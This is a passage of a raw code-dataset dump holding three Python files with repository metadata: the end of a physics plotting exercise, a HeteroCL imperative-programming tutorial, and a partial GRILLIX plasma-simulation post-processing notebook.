plot should also include a visual straight \"best fit\" to the\n#     data as well as visual \"fits\" that give the smallest and largest\n#     slopes consistent with the data. Note, you only need two points to\n#     define a straight line so the straight lines you draw on the plot\n#     should be arrays of length 2 and no longer. All of your fitted lines\n#     should lie *behind* the data. Try to make your plot look like the\n#     one below. *In addition*, add a legend to your plot the gives the\n#     slope with its uncertainty obtained from your visual fits to the\n#     data.\n#\n#     <figure>\n#     <img src=\"attachment:LinearData.png\" class=\"align-center\" alt=\"\" />\n#     </figure>\n#\n#     The web page <http://matplotlib.org/api/pyplot_summary.html> gives a\n#     summary of the main plotting commands available in MatPlotLib. The\n#     two important ones here are `plot` and `errorbar`, which make\n#     regular plots and plots with error bars, respectively. You will find\n#     the following keyword arguments useful: `yerr`, `ls`, `marker`,\n#     `mfc`, `mec`, `ms`, and `ecolor`, which you can find described by\n#     clicking on the `errorbar` function link on the web page cited\n#     above.\n#\n# 7.  The data file below shows data obtained for the displacement\n#     (position) *vs* time of a falling object, together with the\n#     estimated uncertainty in the displacement.\n#\n#     >     Measurements of fall velocity vs time\n#     >     Taken by A.P. Crawford and S.M. Torres\n#     >     19-Sep-13        \n#     >     time (s)    position (m)    uncertainty (m)\n#     >      0.0            0.0             0.04\n#     >      0.5            1.3             0.12\n#     >      1.0            5.1             0.2\n#     >      1.5           10.9             0.3\n#     >      2.0           18.9             0.4\n#     >      2.5           28.7             0.4\n#     >      3.0           40.3             0.5\n#     >      3.5           53.1             0.6\n#     >      4.0           67.5             0.6\n#     >      4.5           82.3             0.6\n#     >      5.0           97.6             0.7\n#     >      5.5          113.8             0.7\n#     >      6.0          131.2             0.7\n#     >      6.5          148.5             0.7\n#     >      7.0          166.2             0.7\n#     >      7.5          184.2             0.7\n#     >      8.0          201.6             0.7\n#     >      8.5          220.1             0.7\n#     >      9.0          238.3             0.7\n#     >      9.5          256.5             0.7\n#     >     10.0          275.6             0.8\n#\n#     1.  Use these data to calculate the velocity and acceleration (in a\n#         Python program `.py` file), together with their uncertainties\n#         propagated from the displacement *vs* time uncertainties. Be\n#         sure to calculate time arrays corresponding the midpoint in time\n#         between the two displacements or velocities for the velocity and\n#         acceleration arrays, respectively.\n#     2.  In a single window frame, make three vertically stacked plots of\n#         the displacement, velocity, and acceleration *vs* time. Show the\n#         error bars on the different plots. Make sure that the time axes\n#         of all three plots cover the same range of times. Why do the\n#         relative sizes of the error bars grow progressively greater as\n#         one progresses from displacement to velocity to acceleration?\n\n# %%\n", "meta": {"hexsha": "9f9b2a58a223d80a28291c92734a77766b0fde38", "size": 46092, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/chap5_plot.py", "max_stars_repo_name": "lorenghoh/pyman", "max_stars_repo_head_hexsha": "9b4ddd52c5577fc85e2601ae3128f398f0eb673c", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/chap5_plot.py", "max_issues_repo_name": "lorenghoh/pyman", "max_issues_repo_head_hexsha": "9b4ddd52c5577fc85e2601ae3128f398f0eb673c", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/chap5_plot.py", "max_forks_repo_name": "lorenghoh/pyman", "max_forks_repo_head_hexsha": "9b4ddd52c5577fc85e2601ae3128f398f0eb673c", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.5300171527, "max_line_length": 144, "alphanum_fraction": 0.6684240215, "include": true, "reason": "import numpy", "num_tokens": 13251, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879064146934857, "lm_q2_score": 0.17328820806405806, "lm_q1q2_score": 0.08123589021742372}}
{"text": "\"\"\"\nImperative Programming\n======================\n\n**Author**: Yi-Hsiang Lai (seanlatias@github)\n\nThere exist many applications that cannot be described using only vectorized\ncode such as `hcl.compute`. Thus, we introduce imperative programming in\nHeteroCL, which makes HeteroCL applications more expressive. In this tutorial,\nwe will implement *insertion sort* in HeteroCL.\n\"\"\"\n\nimport heterocl as hcl\n\nhcl.init()\n\nA = hcl.placeholder((10,), \"A\")\n\n##############################################################################\n# Stages in HeteroCL\n# ------------------\n# In HeteroCL, when users write an application, they are actually building a\n# compute graph. Each node in a graph is a *stage*. Each edge is directed,\n# which represents the data flow between two stages. Some HeteroCL APIs\n# naturally form a stage, such as ``hcl.compute``. Since the imperative code\n# we are going to write cannot be described using a HeteroCL API, we need to\n# wrap it as a stage explicitly via ``hcl.Stage``. Users can specify the name\n# of a stage, which is optional. Note that **a HeteroCL application must have\n# at least one stage**.\n\ndef insertion_sort(A):\n\n    # Introduce a stage.\n    with hcl.Stage(\"S\"):\n        # for i in range(1, A.shape[0])\n        # We can name the axis\n        with hcl.for_(1, A.shape[0], name=\"i\") as i:\n            key = hcl.local(A[i], \"key\")\n            j = hcl.local(i-1, \"j\")\n            # while(j >= 0 && key < A[j])\n            with hcl.while_(hcl.and_(j >= 0, key < A[j])):\n                A[j+1] = A[j]\n                j[0] -= 1\n            A[j+1] = key[0]\n\n##############################################################################\n# Imperative DSL\n# --------------\n# To write imperative code in HeteroCL, we need to use a subset of HeteroCL\n# DSL, which is *imperative DSL*. HeteroCL's imperative DSL supports a subset\n# of Python's control flow statements, including conditional statements and\n# control flows. In the above code, we show how we can use ``hcl.for_`` to\n# write a `for` loop and ``hcl.while_`` to write a `while` loop. Moreover, we\n# use ``hcl.and_`` for logical expressions. Here we also introduce a new API,\n# which is ``hcl.local``. It is equivalent to\n#\n# ``hcl.compute((1,))``\n#\n# Namely, it declares a tensor with exactly one element, which can be treated\n# as a **stateful scalar**. Following we show the execution results of the\n# implemented sorting algorithm.\n#\n# .. note::\n#\n#    Currently we support the following imperative DSLs. Logic operations:\n#    :obj:`heterocl.and_`, :obj:`heterocl.or_`. Control flow statements:\n#    :obj:`heterocl.if_`, :obj:`heterocl.else_`, :obj:`heterocl.elif_`,\n#    :obj:`heterocl.for_`, :obj:`heterocl.while_`, :obj:`heterocl.break_`.\n\ns = hcl.create_schedule([A], insertion_sort)\n\n##############################################################################\n# We can inspect the generated IR.\nprint(hcl.lower(s))\n\n##############################################################################\n# Finally, we build the executable and feed it with Numpy arrays.\nf = hcl.build(s)\n\nimport numpy as np\n\nhcl_A = hcl.asarray(np.random.randint(50, size=(10,)))\n\nprint('Before sorting:')\nprint(hcl_A)\n\nf(hcl_A)\n\nprint('After sorting:')\nnp_A = hcl_A.asnumpy()\nprint(np_A)\n\n##############################################################################\n# Let's run some tests for verification.\nfor i in range(1, 10):\n    assert np_A[i] >= np_A[i-1]\n\n##############################################################################\n# Bit Operations\n# --------------\n# HeteroCL also support bit operations including setting/getting a bit/slice\n# from a number. This is useful for integer and fixed-point operations.\n# Following we show some basic examples.\nhcl.init()\nA = hcl.placeholder((10,), \"A\")\ndef kernel(A):\n    # get the LSB of A\n    B = hcl.compute(A.shape, lambda x: A[x][0], \"B\")\n    # get the lower 4-bit of A\n    C = hcl.compute(A.shape, lambda x: A[x][4:0], \"C\")\n    return B, C\n\n##############################################################################\n# Note that for the slicing operations, we follow the convention of Python,\n# which is **left exclusive and right inclusive**. Now we can test the results.\ns = hcl.create_schedule(A, kernel)\nf = hcl.build(s)\n\nnp_A = np.random.randint(0, 100, A.shape)\nhcl_A = hcl.asarray(np_A)\nhcl_B = hcl.asarray(np.zeros(A.shape))\nhcl_C = hcl.asarray(np.zeros(A.shape))\n\nf(hcl_A, hcl_B, hcl_C)\n\nprint(\"Input array:\")\nprint(hcl_A)\nprint(\"Least-significant bit:\")\nprint(hcl_B)\nprint(\"Lower four bits:\")\nprint(hcl_C)\n\n# a simple test\nnp_B = hcl_B.asnumpy()\nnp_C = hcl_C.asnumpy()\nfor i in range(0, 10):\n    assert np_B[i] == np_A[i] % 2\n    assert np_C[i] == np_A[i] % 16\n\n##############################################################################\n# The operations for bit/slice setting is similar. The only difference is that\n# we need to use imperative DSL. Following is an example.\nhcl.init()\nA = hcl.placeholder((10,), \"A\")\nB = hcl.placeholder((10,), \"B\")\nC = hcl.placeholder((10,), \"C\")\ndef kernel(A, B, C):\n    with hcl.Stage(\"S\"):\n        with hcl.for_(0, 10) as i:\n            # set the LSB of B to be the same as A\n            B[i][0] = A[i][0]\n            # set the lower 4-bit of C\n            C[i][4:0] = A[i]\n\ns = hcl.create_schedule([A, B, C], kernel)\nf = hcl.build(s)\n# note that we intentionally limit the range of A\nnp_A = np.random.randint(0, 16, A.shape)\nnp_B = np.random.randint(0, 100, A.shape)\nnp_C = np.random.randint(0, 100, A.shape)\nhcl_A = hcl.asarray(np_A)\nhcl_B = hcl.asarray(np_B)\nhcl_C = hcl.asarray(np_C)\n\nf(hcl_A, hcl_B, hcl_C)\n\nprint(\"Input array:\")\nprint(hcl_A)\nprint(\"Before setting the least-significant bit:\")\nprint(np_B)\nprint(\"After:\")\nprint(hcl_B)\nprint(\"Before setting the lower four bits:\")\nprint(np_C)\nprint(\"After:\")\nprint(hcl_C)\n\n# let's do some checks\nnp_B2 = hcl_B.asnumpy()\nnp_C2 = hcl_C.asnumpy()\nfor i in range(0, 10):\n    assert np_B2[i] % 2 == np_A[i] % 2\n    assert np_B2[i] // 2 == np_B[i] // 2\n    assert np_C2[i] % 16 == np_A[i]\n    assert np_C2[i] // 16 == np_C[i] // 16\n", "meta": {"hexsha": "93619c3b72a76576e68db36b3be93997237e084a", "size": 6074, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/tutorial_02_imperative.py", "max_stars_repo_name": "schelleg/heterocl", "max_stars_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-08-20T02:43:44.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-13T14:26:05.000Z", "max_issues_repo_path": "tutorials/tutorial_02_imperative.py", "max_issues_repo_name": "schelleg/heterocl", "max_issues_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/tutorial_02_imperative.py", "max_forks_repo_name": "schelleg/heterocl", "max_forks_repo_head_hexsha": "3bc11024f5392ac9d6f569b08f41dd334d002845", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-07-25T21:46:50.000Z", "max_forks_repo_forks_event_max_datetime": "2019-07-25T21:46:50.000Z", "avg_line_length": 32.6559139785, "max_line_length": 79, "alphanum_fraction": 0.5890681594, "include": true, "reason": "import numpy", "num_tokens": 1650, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.17328820806405806, "lm_q1q2_score": 0.08123588764528868}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.13.3\n#   kernelspec:\n#     display_name: tcv-x21\n#     language: python\n#     name: tcv-x21\n# ---\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# # Post-processing a GRILLIX simulation\n#\n# This notebook demonstrates how to perform the post-processing analysis for\n# a GRILLIX simulation, contained in the `sample_data` folder.\n#\n# To limit the repository size, only 5 snapshot write-outs are provided. The sample data is provided primarily to demonstrate the\n# method by which you can generate a standard NetCDF file for another simulation,\n# to perform an equivalent validation.\n#\n# Analysis routines are provided in the `tcvx21/grillix_post` folder.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nimport tcvx21\n\n# %reload_ext autoreload\n# %autoreload 2\n# %matplotlib inline\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xarray as xr\nfrom pathlib import Path\nfrom tcvx21.units_m import Quantity, Dimensionless, convert_xarray_to_quantity\nfrom tcvx21.file_io.json_io_m import read_from_json\n\nimport tcvx21.grillix_post as grillix\nfrom tcvx21 import test_session\n\nplt.style.use(tcvx21.style_sheet)\n\nplt.rcParams.update({\"mathtext.default\": \"regular\"})\nplt.rcParams[\"figure.facecolor\"] = \"white\"\nxr.set_options(keep_attrs=True)\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfile_path = tcvx21.sample_data\ntime_slice = slice(None)\n\nfile_path = Path(file_path)\nassert file_path.exists()\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Setting up an interface to the data\n#\n# We start by reading in the basic simulation data. For GRILLIX, this is\n#\n# 1. Grid: the $R,Z$ grid used for the simulation (assumed to be axisymmetric).\n#    Since we trim our grid at a limiting flux-surface, the data is stored as unstructured\n#    $(R, Z, value)$ column data. The grid allows us to map this to a matrix form $value(R, Z)$, which is needed\n#    for plotting and analysis.\n# 2. Normalisation: a set of `pint.Quantity` values which allows us to go from\n#    normalised values to SI values. The `pint.Quantity` class is highly capable,\n#    allowing unit tracking through basic operations, and unit conversion.\n# 3. `xr.Dataset` snaps: an interface to the GRILLIX snapshot data. The xarray\n#    module interfaces with dask to provide a memory-light interface to very\n#    large files. It is similar to a `pandas.DataFrame`.\n# 4. Equi: an interface to the equilibrium file, providing data about the magnetic\n#    field and penalisation (which is how GRILLIX sets boundary conditions). The\n#    `flip_z` parameter is used to invert the toroidal field direction.\n#\n# To limit the size of the tcvx21 repository, we provide only sample data over a few snapshots\n# of a low-resolution (2mm) case.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\ngrid = grillix.components.Grid(file_path / \"vgrid.nc\")\nnorm = grillix.components.Normalisation.initialise_from_normalisation_file(\n    file_path / \"physical_parameters.nml\"\n)\nsnaps = grillix.components.read_snaps_from_file(\n    file_path, norm, time_slice=slice(None), all_planes=True\n)\nequi = grillix.components.Equi(\n    file_path / \"TCV_ortho.nc\", file_path / \"pen_metainfo.nc\", flip_z=True\n)\n\nparameter_filepath = grillix.filepath_resolver(file_path, \"params.in\")\nparams = grillix.components.convert_params_filepaths(\n    parameter_filepath, grillix.components.read_fortran_namelist(parameter_filepath)\n)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Data extraction via \"lineouts\"\n#\n# Now that we have the interface prepared, we want to extract values at the\n# set of experimental observable positions. We do this via \"lineouts\", which\n# provide an efficient way to get points at specific $R,Z$ positions.\n#\n# We also need to be able to map from a flux-surface label to the\n# $R^u - R^u_{sep}$ coordinate. We do this via the OutboardMidplaneMap.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nn_points = 500\nomp_map = grillix.lineouts.OutboardMidplaneMap(grid, equi, norm)\nomp = grillix.lineouts.outboard_midplane_chord(grid, equi, n_points=500)\nlfs = grillix.lineouts.penalisation_contour(\n    grid, equi, level=0.0, contour_index=0, n_points=n_points\n)\nhfs = grillix.lineouts.penalisation_contour(\n    grid, equi, level=0.0, contour_index=1, n_points=n_points\n)\nts = grillix.lineouts.thomson_scattering(\n    grid, equi, tcvx21.thomson_coords_json, n_points=n_points\n)\nrdpa = grillix.lineouts.rdpa(grid, equi, omp_map, norm, tcvx21.rdpa_coords_json)\nxpt = grillix.lineouts.xpoint(grid, equi, norm)\n\nlineouts = {\"omp\": omp, \"lfs\": lfs, \"hfs\": hfs, \"ts\": ts, \"rdpa\": rdpa, \"xpt\": xpt}\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# We also want to be able to calculate parallel gradients. In GRILLIX, this\n# is done via the FCI method. A simplified trace-and-interpolate method\n# is demonstrated here. Note that since we're interpolating in Python,\n# this is very slow!\n#\n# To speed things up a little, we trace only once per lineout, and only\n# for the lineouts where we need parallel gradients.\n#\n# (Unfortunately, dask-based parallelism raises a strange `CancelledError` when\n# these loops are attempted to be parallelized)\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\n# %%time\ngrillix.observables.initialise_lineout_for_parallel_gradient(\n    lfs,\n    grid,\n    equi,\n    norm,\n    params[\"params_grid\"][\"npol\"],\n    stored_trace=file_path / f\"lfs_trace_{n_points}.nc\",\n)\n# We don't compute the heat flux for the HFS, so can save time by not tracing for it\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# As a sanity check, it's always a good idea to plot things before we perform the\n# analysis.\n#\n# The lfs and hfs lineouts in GRILLIX are defined at positions which don't exactly\n# correspond to the physical wall. This is because GRILLIX uses a smooth\n# penalisation characteristic function. The lfs and hfs positions are defined as\n# the surface where we *start* to apply boundary conditions. For more details\n# on this method, see Stegmeir et al., 2019.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\ndivertor_ = read_from_json(tcvx21.divertor_coords_json)\n\n_, ax = plt.subplots(figsize=(10, 10))\nplt.contour(grid.r_s, grid.z_s, equi.normalised_flux_surface_label(grid.r_s, grid.z_s))\n\nplt.scatter(\n    lineouts[\"xpt\"].r_points,\n    lineouts[\"xpt\"].z_points,\n    s=1,\n    marker=\".\",\n    color=\"r\",\n    label=\"xpt\",\n)\nplt.scatter(\n    lineouts[\"rdpa\"].r_points,\n    lineouts[\"rdpa\"].z_points,\n    s=1,\n    marker=\"+\",\n    color=\"k\",\n    label=\"rdpa\",\n)\n\nfor key, lineout in lineouts.items():\n\n    if key in [\"rdpa\", \"xpt\"]:\n        continue\n\n    plt.plot(lineout.r_points, lineout.z_points, label=key, linewidth=2.5)\n\n    if hasattr(lineout, \"forward_lineout\"):\n        plt.plot(\n            lineout.forward_lineout.r_points,\n            lineout.forward_lineout.z_points,\n            label=f\"{key}+\",\n            linewidth=2.5,\n        )\n    if hasattr(lineout, \"reverse_lineout\"):\n        plt.plot(\n            lineout.reverse_lineout.r_points,\n            lineout.reverse_lineout.z_points,\n            label=f\"{key}-\",\n            linewidth=2.5,\n        )\n\nplt.legend()\nif equi.flipped_z:\n    ax.invert_yaxis()\nax.set_aspect(\"equal\")\n\nplt.plot(\n    divertor_[\"r_points\"] / equi.axis_r.values,\n    divertor_[\"z_points\"] / equi.axis_r.values * -1.0 if equi.flipped_z else 1.0,\n    color=\"k\",\n)\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Interfacing with the snaps\n#\n# The `snaps` object (an `xarray` labelled multi-dimensional array) provides\n# convenient access to the simulation data. We mostly focus on 1D lineouts\n# which can be compared to the experimental diagnostics, but we demonstrate\n# here the use of the analysis components to show the density perturbation.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfig, ax = plt.subplots()\ngrid.shape(\n    snaps.density.isel(tau=0, phi=0) - snaps.density.mean(dim=(\"tau\", \"phi\"))\n).plot(shading=\"flat\")\n\nax.invert_yaxis()\nax.set_aspect(\"equal\")\nax.set_title(\"Density perturbation\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Demonstrating the lineout functionality\n#\n# Looks good! Next, let's test the lineout functionality. If you just want\n# normalised units, it's very easy using the xarray functionality.\n#\n# This one-liner has a lot going on, so let's unpack it\n# 1. `lineouts[omp]` requests the stored omp `Lineout`\n# 2. `.interpolate(` calls the interpolate method\n# 3. `snaps.density` requests the density stored in the snaps\n# 4. `).mean(dim='phi')` toroidally averages the result (since snaps.density has\n#    `phi, tau, points` dimensions, the lineout will have `phi, tau, interp_points`\n#    dimensions. We want to plot 2D, so average over `phi` to eliminate this dimension).\n# 5. `.plot()` is a thin wrapper of `matplotlib.pyplot.pcolormesh`, which automatically\n#    sets the x and y values of the plot from the xarray coordinates\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nlineouts[\"omp\"].interpolate(snaps.density).mean(dim=\"tau\").plot.contourf()\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# What about if we want this in SI units? Unfortunately, xarray isn't completely\n# compatible with `pint`, so we have to manually convert to `pint.Quantity` objects\n# and then set up the plotting manually.\n#\n# N.b. the underscore in the variable names is simply to indicate that these variables\n# are private -- i.e. they shouldn't be used in other routines (since Python\n# automatically promotes variables outside of functions to global scope. This\n# is something to be careful about in Jupyter notebooks).\n#\n# You can see that the result doesn't vary much with time,\n# but that's not surprising since 5 snaps is only 8 microseconds\n# of plasma time!\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\ntau_ = convert_xarray_to_quantity(snaps.tau).to(\"microseconds\")\ntau_ -= tau_[0]\n\nlineout_ = lineouts[\"omp\"]\nlineout_rho_ = equi.normalised_flux_surface_label(\n    lineout_.r_points, lineout_.z_points, grid=False\n)\nlineout_ru_ = convert_xarray_to_quantity(\n    omp_map.convert_rho_to_distance(lineout_rho_)\n).to(\"cm\")\n\nlineout_density_ = convert_xarray_to_quantity(\n    lineout_.interpolate(snaps.density).mean(dim=\"phi\")\n).to(\"1/m^3\")\n\nfig, ax = plt.subplots()\n\nim = ax.contourf(lineout_ru_, tau_, lineout_density_, shading=\"nearest\")\nplt.colorbar(im, ax=ax)\n\nax.set_ylabel(\"$\\\\tau$ [$\\\\mu$ s]\")\nax.set_xlabel(\"$R^u - R^u_{sep}$ [cm]\")\nax.set_title(\"OMP density [$1/m^3$]\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Synthetic diagnostics and bootstrap\n#\n# For observables which do not directly map to the simulation dynamic quantities,\n# we need a method to estimate what the measured value will be given plasma\n# parameters from the simulation. These can be roughly termed *synthetic\n# diagnostics*, although we use here only simple approximations. The functions\n# are stored in the `experimental_quantities_m.py` file.\n#\n# We show here how to calculate the skewness of the ion saturation current measured the low-field-side\n# target Langmuir probe array.\n#\n# This method also gives an estimate of the uncertainty of the statistical moment via the\n# bootstrap method. The bootstrap method takes several random samples of the signal (potentially\n# double-counting some points and omitting others) and then calculates the mean\n# and standard deviation of the statistical moments calculated from the random samples.\n# Strictly speaking it should be applied for purely random data, rather than correlated\n# data, but we use it nevertheless because it is a nice and simple approximation of the\n# finite-sampling error.\n#\n# For the mean, the bootstrap error is tiny, but for the higher-order statistical moments it\n# can be appreciable.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nlineout_ = lineouts[\"lfs\"]\nlineout_rho_ = equi.normalised_flux_surface_label(\n    lineout_.r_points, lineout_.z_points, grid=False\n)\nlineout_ru_ = convert_xarray_to_quantity(\n    omp_map.convert_rho_to_distance(lineout_rho_)\n).to(\"cm\")\n\nsound_speed_ = grillix.observables.sound_speed(\n    electron_temp=snaps.electron_temp, ion_temp=snaps.ion_temp, norm=norm\n)\n\njsat_ = grillix.observables.ion_saturation_current(\n    density=snaps.density, sound_speed=sound_speed_, norm=norm, wall_probe=True\n)\n\njsat_skew_, jsat_skew_err_ = tcvx21.analysis.compute_statistical_moment_with_bootstrap(\n    lineout_.interpolate(jsat_).rename({\"interp_points\": \"points\"}), moment=\"skew\"\n)\n\njsat_skew_ = convert_xarray_to_quantity(jsat_skew_)\njsat_skew_err_ = convert_xarray_to_quantity(jsat_skew_err_)\n\nfig, ax = plt.subplots()\n\nax.plot(lineout_ru_, jsat_skew_)\nax.fill_between(\n    lineout_ru_, jsat_skew_ + jsat_skew_err_, jsat_skew_ - jsat_skew_err_, alpha=0.5\n)\n\nax.set_xlabel(\"$R^u - R^u_{sep}$ [cm]\")\nax.set_title(\"LFS ion saturation current skewness\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Heat flux profile fitting\n#\n# A more involved synthetic diagnostic is the parallel heat flux to the\n# boundaries. From our anomalous heat transmission boundary conditions, we can\n# determine the heat flux to the boundaries as\n#\n# $q_{\\parallel,e} = \\frac{5}{2}n v_{\\parallel,e}T_e + \\frac{5}{2}n u_{E\\times B}T_e - \\chi_{\\parallel e,0} T_e^{5/2}\\nabla_\\parallel T_e$\n#\n# $q_{\\parallel,i} = \\frac{5}{2}n u_{\\parallel,i}T_i + \\frac{5}{2}n u_{E\\times B}T_i - \\chi_{\\parallel i,0} T_i^{5/2}\\nabla_\\parallel T_i$\n#\n# We can check the heat flux routines and the contribution from each component here.\n# Note that, unless the $E \\times B$ contribution is included, the heat flux\n# can become negative.\n#\n# You notice that there's a lot of terms in this equation.\n# $q_\\parallel$ isn't directly evolved in the code, so it has\n# a lower simulation hierarchy than other simpler observables.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nlineout_ = lineouts[\"lfs\"]\nlineout_rho_ = equi.normalised_flux_surface_label(\n    lineout_.r_points, lineout_.z_points, grid=False\n)\nlineout_ru_ = convert_xarray_to_quantity(\n    omp_map.convert_rho_to_distance(lineout_rho_)\n).to(\"cm\")\n\ndensity = lineout_.interpolate(snaps.density)\nion_velocity = lineout_.interpolate(snaps.velocity)\ncurrent = lineout_.interpolate(snaps.current)\nelectron_temp = lineout_.interpolate(snaps.electron_temp)\nelectron_temp_parallel_gradient = grillix.observables.compute_gradient_on_plane(\n    lineout_, snaps.electron_temp, plane=0\n)\nion_temp = lineout_.interpolate(snaps.ion_temp)\nion_temp_parallel_gradient = grillix.observables.compute_gradient_on_plane(\n    lineout_, snaps.ion_temp, plane=0\n)\neffective_parallel_exb = lineout_.interpolate(\n    grillix.observables.effective_parallel_exb_velocity(\n        grid, equi, norm, snaps.potential\n    )\n)\n\nq_e_conv = grillix.observables.heat_flux.electron_parallel_heat_convection(\n    density, electron_temp, ion_velocity, current, norm\n).isel(tau=0, phi=0)\nq_i_conv = grillix.observables.heat_flux.ion_parallel_heat_convection(\n    density, ion_temp, ion_velocity, norm\n).isel(tau=0, phi=0)\nq_e_cond = grillix.observables.heat_flux.electron_parallel_heat_conduction(\n    electron_temp, electron_temp_parallel_gradient, norm\n).isel(tau=0, phi=0)\nq_i_cond = grillix.observables.heat_flux.ion_parallel_heat_conduction(\n    ion_temp, ion_temp_parallel_gradient, norm\n).isel(tau=0, phi=0)\nq_e_exb = grillix.observables.heat_flux.exb_effective_parallel_heat_convection(\n    density, electron_temp, effective_parallel_exb, norm\n).isel(tau=0, phi=0)\nq_i_exb = grillix.observables.heat_flux.exb_effective_parallel_heat_convection(\n    density, ion_temp, effective_parallel_exb, norm\n).isel(tau=0, phi=0)\n\nq_par = grillix.observables.total_parallel_heat_flux(\n    density,\n    electron_temp,\n    electron_temp_parallel_gradient,\n    ion_temp,\n    ion_temp_parallel_gradient,\n    ion_velocity,\n    current,\n    effective_parallel_exb,\n    norm,\n).load()\n\nfig, ax = plt.subplots()\n\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_e_conv), label=\"q_e_conv\")\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_i_conv), label=\"q_i_conv\")\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_e_cond), label=\"q_e_cond\")\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_i_cond), label=\"q_i_cond\")\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_i_exb), label=\"q_i_exb\")\nax.plot(lineout_ru_, convert_xarray_to_quantity(q_e_exb), label=\"q_e_exb\")\n\nax.plot(\n    lineout_ru_,\n    convert_xarray_to_quantity(q_par.isel(tau=0, phi=0)),\n    \"k--\",\n    label=\"total\",\n)\n\nax.legend()\n\nfig, ax = plt.subplots()\n_, lambda_q, _, _, _ = tcvx21.analysis.fit_eich_profile(\n    lineout_ru_, convert_xarray_to_quantity(q_par.mean(dim=(\"tau\", \"phi\"))), plot=True\n)\n\nprint(f\"lambda_q = {lambda_q[0]:4.3}\u00b1{lambda_q[1]:4.3}\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## 2D data from the divertor volume\n#\n# As well as 1D profiles, we also have 2D profiles from the reciprocating\n# divertor probe array. Since the plasma can move relative to the wall,\n# we use $R^u - R^u_{omp}$ and $Z$ instead of the original $R, Z$ coordinates.\n# This means that our sample grid is not rectangular. We need to sample our\n# data on the unstructured grid.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom scipy.interpolate import griddata\n\n\ndef plot_rdpa_field(rdpa_lineout, field, n_rsep=50, n_z=50):\n\n    x = rdpa_lineout.coords[\"Rsep\"]\n    y = rdpa_lineout.coords[\"Z\"]\n    assert x.shape == y.shape\n    z = rdpa_lineout.interpolate(field)\n\n    x_sample = np.linspace(x.min(), x.max(), num=n_rsep)\n    y_sample = np.linspace(y.min(), y.max(), num=n_z)\n    x_mesh, y_mesh = np.meshgrid(x_sample, y_sample)\n\n    z_sample = griddata(\n        points=(x.magnitude, y.magnitude),\n        values=z,\n        xi=(x_mesh.magnitude, y_mesh.magnitude),\n    )\n\n    z_sample *= z.norm\n\n    plt.pcolormesh(x_sample, y_sample, z_sample, shading=\"nearest\")\n    plt.colorbar()\n    plt.xlabel(\"$R^u - R^u_{sep}$\" + f\" [{x.units}]\")\n    plt.ylabel(f\"Z [{y.units}]\")\n    plt.title(f\"RDPA {z.name} 